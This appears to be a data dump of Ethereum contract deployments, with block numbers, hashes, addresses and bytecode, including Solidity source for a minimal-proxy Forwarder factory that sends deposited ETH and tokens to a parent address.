49052602401610bfd565b610e8e8383836001612875565b5f828152600360205260408120546001600160a01b0390811690831615611fd957611fd9818486612979565b6001600160a01b0381161561201357611ff45f855f80612875565b6001600160a01b0381165f90815260046020526040902080545f190190555b6001600160a01b03851615612041576001600160a01b0385165f908152600460205260409020805460010190555b5f8481526003602052604080822080546001600160a01b0319166001600160a01b0389811691821790925591518793918516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4949350505050565b5f546001600160a01b03163314610d8e5760405163118cdaa760e01b8152336004820152602401610bfd565b804710156120ee5760405163cd78605960e01b8152306004820152602401610bfd565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114612137576040519150601f19603f3d011682016040523d82523d5f602084013e61213c565b606091505b5050905080610e8e57604051630a12f52160e11b815260040160405180910390fd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f81836040516020016121c19291906132dc565b60408051808303601f1901815290829052601154632dca9c0360e11b83529092505f917f0000000000000000000000000a0f4321214bb6c7811dd8a71cf587bdaf03f0a06001600160a01b031691635b95380691349161223c91611b5f9188913091600160a01b90046001600160401b031690600401613a95565b60206040518083038185885af1158015612258573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061227d919061364c565b5f8181526013602052604090209091506002810161229b848261352c565b5080546001600160a01b031916339081178255611b5f600183018190556040517fa0faead83d70148ae18b694377f9bef079251342ab90e14af0f9ef68b891269f926122ea9286928a90613ae5565b60405180910390a15050505050565b610b48828260405180602001604052805f8152506129dd565b6001600160a01b03821661234457604051630b61174360e31b81526001600160a01b0383166004820152602401610bfd565b6001600160a01b038381165f81815260066020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6001600160a01b0383163b15610c6057604051630a85bd0160e11b81526001600160a01b0384169063150b7a02906123f2903390889087908790600401613b1b565b6020604051808303815f875af192505050801561242c575060408051601f3d908101601f1916820190925261242991810190613b4d565b60015b612493573d808015612459576040519150601f19603f3d011682016040523d82523d5f602084013e61245e565b606091505b5080515f0361248b57604051633250574960e11b81526001600160a01b0385166004820152602401610bfd565b805181602001fd5b6001600160e01b03198116630a85bd0160e11b146124cf57604051633250574960e11b81526001600160a01b0385166004820152602401610bfd565b5050505050565b6060815f036124fc5750506040805180820190915260018152600360fc1b602082015290565b815f5b8115612525578061250f816135e6565b915061251e9050600a83613502565b91506124ff565b5f816001600160401b0381111561253e5761253e612c34565b6040519080825280601f01601f191660200182016040528015612568576020820181803683370190505b5090505b84156125d25761257d6001836135fe565b915061258a600a86613b68565b6125959060306134b0565b60f81b8183815181106125aa576125aa613b7b565b60200101906001600160f81b03191690815f1a9053506125cb600a86613502565b945061256c565b949350505050565b60408051602880825260608281019093525f91906020820181803683370190505090505f5b601481101561270c575f6126148260136135fe565b61261f906008613515565b61262a906002613c72565b61263d906001600160a01b038716613502565b60f81b90505f60108260f81c6126539190613c7d565b60f81b90505f8160f81c60106126699190613c9e565b8360f81c6126779190613cba565b60f81b9050612685826129f3565b85612691866002613515565b815181106126a1576126a1613b7b565b60200101906001600160f81b03191690815f1a9053506126c0816129f3565b856126cc866002613515565b6126d79060016134b0565b815181106126e7576126e7613b7b565b60200101906001600160f81b03191690815f1a90535050600190920191506125ff9050565b5092915050565b80516060905f81900361273557505060408051602081019091525f8152919050565b5f60036127438360026134b0565b61274d9190613502565b612758906004613515565b90505f6127668260206134b0565b6001600160401b0381111561277d5761277d612c34565b6040519080825280601f01601f1916602001820160405280156127a7576020820181803683370190505b5090505f604051806060016040528060408152602001613ced60409139905060018101602083015f5b86811015612831576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b8352600490920191016127d0565b50600386066001811461284b576002811461285c57612867565b613d3d60f01b600119830152612867565b603d60f81b5f198301525b505050918152949350505050565b808061288957506001600160a01b03821615155b1561294a575f61289884611f68565b90506001600160a01b038316158015906128c45750826001600160a01b0316816001600160a01b031614155b80156128d757506128d58184611ec7565b155b156129005760405163a9fbf51f60e01b81526001600160a01b0384166004820152602401610bfd565b81156129485783856001600160a01b0316826001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45b505b50505f90815260056020526040902080546001600160a01b0319166001600160a01b0392909216919091179055565b612984838383612a2d565b610e8e576001600160a01b0383166129b257604051637e27328960e01b815260048101829052602401610bfd565b60405163177e802f60e01b81526001600160a01b038316600482015260248101829052604401610bfd565b6129e78383612a8e565b610e8e5f8484846123b0565b5f600a60f883901c1015612a1957612a1060f883901c6030613cd3565b60f81b92915050565b612a1060f883901c6057613cd3565b919050565b5f6001600160a01b038316158015906125d25750826001600160a01b0316846001600160a01b03161480612a665750612a668484611ec7565b806125d25750505f908152600560205260409020546001600160a01b03908116911614919050565b6001600160a01b038216612ab757604051633250574960e11b81525f6004820152602401610bfd565b5f612ac383835f611fad565b90506001600160a01b03811615610e8e576040516339e3563760e11b81525f6004820152602401610bfd565b6001600160e01b031981168114611f65575f80fd5b5f60208284031215612b14575f80fd5b8135612b1f81612aef565b9392505050565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f612b1f6020830184612b26565b5f60208284031215612b76575f80fd5b5035919050565b80356001600160a01b0381168114612a28575f80fd5b5f8060408385031215612ba4575f80fd5b612bad83612b7d565b946020939093013593505050565b5f805f60608486031215612bcd575f80fd5b612bd684612b7d565b9250612be460208501612b7d565b929592945050506040919091013590565b5f60208284031215612c05575f80fd5b81356001600160401b0381168114612b1f575f80fd5b5f60208284031215612c2b575f80fd5b612b1f82612b7d565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f191681016001600160401b0381118282101715612c7057612c70612c34565b604052919050565b5f6001600160401b03821115612c9057612c90612c34565b50601f01601f191660200190565b5f82601f830112612cad575f80fd5b8135602083015f612cc5612cc084612c78565b612c48565b9050828152858383011115612cd8575f80fd5b828260208301375f92810160200192909252509392505050565b5f8060408385031215612d03575f80fd5b82356001600160401b03811115612d18575f80fd5b612d2485828601612c9e565b95602094909401359450505050565b5f8083601f840112612d43575f80fd5b5081356001600160401b03811115612d59575f80fd5b602083019150836020828501011115612d70575f80fd5b9250929050565b5f805f8060408587031215612d8a575f80fd5b84356001600160401b03811115612d9f575f80fd5b612dab87828801612d33565b90955093505060208501356001600160401b03811115612dc9575f80fd5b612dd587828801612d33565b95989497509550505050565b5f8060208385031215612df2575f80fd5b82356001600160401b03811115612e07575f80fd5b612e1385828601612d33565b90969095509350505050565b60a081525f612e3160a0830188612b26565b8281036020840152612e438188612b26565b90508281036040840152612e578187612b26565b606084019590955250506001600160a01b03919091166080909101529392505050565b5f60208284031215612e8a575f80fd5b81356001600160401b03811115612e9f575f80fd5b6125d284828501612c9e565b60018060a01b0385168152836020820152608060408201525f612ed16080830185612b26565b8281036060840152612ee38185612b26565b979650505050505050565b5f8060408385031215612eff575f80fd5b8235915060208301356001600160401b03811115612f1b575f80fd5b612f2785828601612c9e565b9150509250929050565b5f805f805f805f8060a0898b031215612f48575f80fd5b612f5189612b7d565b975060208901356001600160401b03811115612f6b575f80fd5b612f778b828c01612d33565b90985096505060408901356001600160401b03811115612f95575f80fd5b612fa18b828c01612d33565b90965094505060608901356001600160401b03811115612fbf575f80fd5b612fcb8b828c01612d33565b999c989b50969995989497949560800135949350505050565b8015158114611f65575f80fd5b5f8060408385031215613002575f80fd5b61300b83612b7d565b9150602083013561301b81612fe4565b809150509250929050565b5f805f805f805f6080888a03121561303c575f80fd5b8735965060208801356001600160401b03811115613058575f80fd5b6130648a828b01612d33565b90975095505060408801356001600160401b03811115613082575f80fd5b61308e8a828b01612d33565b90955093505060608801356001600160401b038111156130ac575f80fd5b6130b88a828b01612d33565b989b979a50959850939692959293505050565b5f805f805f606086880312156130df575f80fd5b8535945060208601356001600160401b038111156130fb575f80fd5b61310788828901612d33565b90955093505060408601356001600160401b03811115613125575f80fd5b61313188828901612d33565b969995985093965092949392505050565b5f805f8060808587031215613155575f80fd5b61315e85612b7d565b935061316c60208601612b7d565b92506040850135915060608501356001600160401b0381111561318d575f80fd5b61319987828801612c9e565b91505092959194509250565b5f805f805f80606087890312156131ba575f80fd5b86356001600160401b038111156131cf575f80fd5b6131db89828a01612d33565b90975095505060208701356001600160401b038111156131f9575f80fd5b61320589828a01612d33565b90955093505060408701356001600160401b03811115613223575f80fd5b61322f89828a01612d33565b979a9699509497509295939492505050565b5f8060408385031215613252575f80fd5b61325b83612b7d565b915061326960208401612b7d565b90509250929050565b600181811c9082168061328657607f821691505b6020821081036132a457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156132ba575f80fd5b8151612b1f81612fe4565b5f81518060208401855e5f93019283525090919050565b8281525f6125d260208301846132c5565b818382375f9101908152919050565b601f821115610e8e57805f5260205f20601f840160051c810160208510156133215750805b601f840160051c820191505b818110156124cf575f815560010161332d565b6001600160401b0383111561335757613357612c34565b61336b836133658354613272565b836132fc565b5f601f84116001811461339c575f85156133855750838201355b5f19600387901b1c1916600186901b1783556124cf565b5f83815260208120601f198716915b828110156133cb57868501358255602094850194600190920191016133ab565b50868210156133e7575f1960f88860031b161c19848701351681555b505060018560011b0183555050505050565b5f815461340581613272565b60018216801561341c57600181146134315761345e565b60ff198316865281151582028601935061345e565b845f5260205f205f5b838110156134565781548882015260019091019060200161343a565b505081860193505b50505092915050565b5f61347282856133f9565b622d2d2d60e81b815261348860038201856133f9565b95945050505050565b5f612b1f82846132c5565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610a8057610a8061349c565b838582375f848201622d2d2d60e81b8152838560038301375f93016003019283525090949350505050565b634e487b7160e01b5f52601260045260245ffd5b5f82613510576135106134ee565b500490565b8082028115828204841417610a8057610a8061349c565b81516001600160401b0381111561354557613545612c34565b613559816135538454613272565b846132fc565b6020601f82116001811461358b575f83156135745750848201515b5f19600385901b1c1916600184901b1784556124cf565b5f84815260208120601f198516915b828110156135ba578785015182556020948501946001909201910161359a565b50848210156135d757868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f600182016135f7576135f761349c565b5060010190565b81810381811115610a8057610a8061349c565b81835281816020850137505f828201602090810191909152601f909101601f19169091010190565b602081525f6125d2602083018486613611565b5f6020828403121561365c575f80fd5b5051919050565b838152604060208201525f613488604083018486613611565b604081525f61368f604083018688613611565b8281036020840152612ee3818587613611565b5f612b1f82846133f9565b87815286602082015260a060408201525f8087546136ca81613272565b8060a0860152600182165f81146136e8576001811461370457613735565b60ff19831660c087015260c082151560051b8701019350613735565b8a5f5260205f205f5b8381101561372c57815488820160c0015260019091019060200161370d565b870160c0019450505b505050828103606084015261374b818789613611565b905082810360808401526118ca818587613611565b683d913730b6b2911d1160b91b81525f61377d60098301896133f9565b7f222c202261747472696275746573223a205b7b2274726169745f74797065223a81527f2022706f7369746976655f70726f6d7074222c202276616c7565223a2022000060208201526137d3603e8201896133f9565b7f227d2c207b2274726169745f74797065223a20226e656761746976655f70726f81526f36b83a111610113b30b63ab2911d101160811b6020820152905061381e60308201886133f9565b7f227d2c207b2274726169745f74797065223a202273656564222c202276616c7581526432911d101160d91b6020820152905061385e60258201876132c5565b7f227d2c207b2274726169745f74797065223a2022617574686f72222c202276618152680d8eaca4474404460f60bb1b602082015290506138a260298201866132c5565b7f227d2c207b2274726169745f74797065223a20226d6f64656c222c202276616c81527f7565223a2022537461626c6520446966667573696f6e227d5d2c20226465736360208201527f72697074696f6e223a2022537461626c6520446966667573696f6e206973206160408201527f206c6174656e7420746578742d746f2d696d61676520646966667573696f6e2060608201527f6d6f64656c2063617061626c65206f662067656e65726174696e672070686f7460808201527f6f2d7265616c697374696320696d6167657320676976656e20616e792074657860a08201527f7420696e7075742e222c2022696d616765223a202268747470733a2f2f67617460c08201527f657761792e70696e6174612e636c6f75642f697066732f00000000000000000060e0820152905060f781016118ca6139e282876132c5565b61227d60f01b815260020190565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000081525f612b1f601d8301846132c5565b5f60208284031215613a31575f80fd5b81516001600160401b03811115613a46575f80fd5b8201601f81018413613a56575f80fd5b8051613a64612cc082612c78565b818152856020838501011115613a78575f80fd5b8160208401602083015e5f91810160200191909152949350505050565b84815260a060208201525f613aad60a0830186612b26565b6001600160a01b03949094166040830152506001600160401b039190911660608201528082036080909101525f815260200192915050565b84815260018060a01b0384166020820152826040820152608060608201525f613b116080830184612b26565b9695505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190525f90613b1190830184612b26565b5f60208284031215613b5d575f80fd5b8151612b1f81612aef565b5f82613b7657613b766134ee565b500690565b634e487b7160e01b5f52603260045260245ffd5b6001815b6001841115613bca57808504811115613bae57613bae61349c565b6001841615613bbc57908102905b60019390931c928002613b93565b935093915050565b5f82613be057506001610a80565b81613bec57505f610a80565b8160018114613c025760028114613c0c57613c28565b6001915050610a80565b60ff841115613c1d57613c1d61349c565b50506001821b610a80565b5060208310610133831016604e8410600b8410161715613c4b575081810a610a80565b613c575f198484613b8f565b805f1904821115613c6a57613c6a61349c565b029392505050565b5f612b1f8383613bd2565b5f60ff831680613c8f57613c8f6134ee565b8060ff84160491505092915050565b60ff818116838216029081169081811461270c5761270c61349c565b60ff8281168282160390811115610a8057610a8061349c565b60ff8181168382160190811115610a8057610a8061349c56fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220f2ac83818a824e9d2efa57832d81bbdb18c94218c86c58be5d02bf2029eeb43664736f6c634300081a0033 | |
1 | 20,290,672 | eff3dfa7434b554edd1fb7b9e6301d8f3c017771928b88bd4efe1fe3af97fa9e | 1fa1b7536f2e40bde3f5d078f3e13444ec8332d1d458a85737e0a772ced02e5d | 00bdb5699745f5b860228c8f939abf1b9ae374ed | ffa397285ce46fb78c588a9e993286aac68c37cd | 8386f270c54cddc07110e1cc99c883b29bc3cf3c | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 20,290,675 | 7e82f1ce3947eaac37380bf48885676116481d42b583977f096676daf2463d6b | 821948d7e73e3bdb7b01cbd2d2777c85229d491b34be04bb16359ba95c25b191 | 0000db5c8b030ae20308ac975898e09741e70000 | ed0e416e0feea5b484ba5c95d375545ac2b60572 | a3f9140884cd1cd5b055146e2df338efd29a8ac9 | 608060405234801561001057600080fd5b50604051610a1a380380610a1a8339818101604052810190610032919061011c565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550326000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610149565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100e9826100be565b9050919050565b6100f9816100de565b811461010457600080fd5b50565b600081519050610116816100f0565b92915050565b600060208284031215610132576101316100b9565b5b600061014084828501610107565b91505092915050565b6108c2806101586000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033000000000000000000000000000037bb05b2cef17c6469f4bcdb198826ce0000 | 608060405234801561001057600080fd5b50600436106100365760003560e01c8063caa5c23f1461003b578063cce3d5d314610057575b600080fd5b610055600480360381019061005091906105fa565b610073565b005b610071600480360381019061006c9190610679565b6101ca565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f890610703565b60405180910390fd5b60005b81518110156101c6578181815181106101205761011f610723565b5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff1682828151811061015557610154610723565b5b60200260200101516020015160405161016e91906107c3565b6000604051808303816000865af19150503d80600081146101ab576040519150601f19603f3d011682016040523d82523d6000602084013e6101b0565b606091505b50505080806101be90610809565b915050610104565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161024f90610703565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161029e90610877565b60006040518083038185875af1925050503d80600081146102db576040519150601f19603f3d011682016040523d82523d6000602084013e6102e0565b606091505b50505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610348826102ff565b810181811067ffffffffffffffff8211171561036757610366610310565b5b80604052505050565b600061037a6102e6565b9050610386828261033f565b919050565b600067ffffffffffffffff8211156103a6576103a5610310565b5b602082029050602081019050919050565b600080fd5b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103f1826103c6565b9050919050565b610401816103e6565b811461040c57600080fd5b50565b60008135905061041e816103f8565b92915050565b600080fd5b600067ffffffffffffffff82111561044457610443610310565b5b61044d826102ff565b9050602081019050919050565b82818337600083830152505050565b600061047c61047784610429565b610370565b90508281526020810184848401111561049857610497610424565b5b6104a384828561045a565b509392505050565b600082601f8301126104c0576104bf6102fa565b5b81356104d0848260208601610469565b91505092915050565b6000604082840312156104ef576104ee6103bc565b5b6104f96040610370565b905060006105098482850161040f565b600083015250602082013567ffffffffffffffff81111561052d5761052c6103c1565b5b610539848285016104ab565b60208301525092915050565b60006105586105538461038b565b610370565b9050808382526020820190506020840283018581111561057b5761057a6103b7565b5b835b818110156105c257803567ffffffffffffffff8111156105a05761059f6102fa565b5b8086016105ad89826104d9565b8552602085019450505060208101905061057d565b5050509392505050565b600082601f8301126105e1576105e06102fa565b5b81356105f1848260208601610545565b91505092915050565b6000602082840312156106105761060f6102f0565b5b600082013567ffffffffffffffff81111561062e5761062d6102f5565b5b61063a848285016105cc565b91505092915050565b6000819050919050565b61065681610643565b811461066157600080fd5b50565b6000813590506106738161064d565b92915050565b60006020828403121561068f5761068e6102f0565b5b600061069d84828501610664565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000600082015250565b60006106ed6017836106a6565b91506106f8826106b7565b602082019050919050565b6000602082019050818103600083015261071c816106e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600081905092915050565b60005b8381101561078657808201518184015260208101905061076b565b60008484015250505050565b600061079d82610752565b6107a7818561075d565b93506107b7818560208601610768565b80840191505092915050565b60006107cf8284610792565b915081905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061081482610643565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610846576108456107da565b5b600182019050919050565b50565b600061086160008361075d565b915061086c82610851565b600082019050919050565b600061088282610854565b915081905091905056fea264697066735822122036692b46567a60a4f6844f8be0961cccba9ff2777bd37b4ea35791aba4c5159b64736f6c63430008120033 | |
